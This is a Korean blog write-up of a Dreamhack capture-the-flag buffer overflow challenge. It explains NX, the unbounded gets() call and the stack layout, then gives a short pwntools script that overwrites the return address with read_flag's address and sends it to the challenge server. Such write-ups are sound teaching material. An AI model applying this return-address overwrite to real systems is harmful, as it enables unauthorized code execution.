728x90

버퍼오버플로우 문제다.

조건에 NX 비트가 설정되어 있다.

NX 비트는 프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술이다. 스택에서 쉘 코드를 저장 후 리턴하는 방식으론 명령을 실행할 수 없다.

read_flag 함수를 호출하면 system("cat /flag") 명령을 수행하기에 flag를 볼 수 있다. 따라서 read_flag 함수의 주소로 리턴주소를 덮어쓰면 된다. gdb로 찾은 결과 read_flag 함수의 주소는 0x80485b9이다.

main 함수 어셈블리 코드는 다음과 같다.

스택의 구조는 다음과 같음을 알 수 있다.

buf ebp retn

gets 함수는 버퍼오버플로우 취약점이 있다. 입력값의 크기에 제한이 없다.

따라서 128 bytes(buf) + 4 bytes(ebp)를 dummy로 채우고 retn주소에 \xb9\x85\x04\x08을 넣음으로써 payload를 완성한다.

from pwn import *

p=remote('host3.dreamhack.games',17136)

payload= b'A'*132 + p32(0x80485b9)

p.send(payload)

p.interactive()

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_000  (0) 2023.02.14
welcome  (0) 2023.02.12

+ Recent posts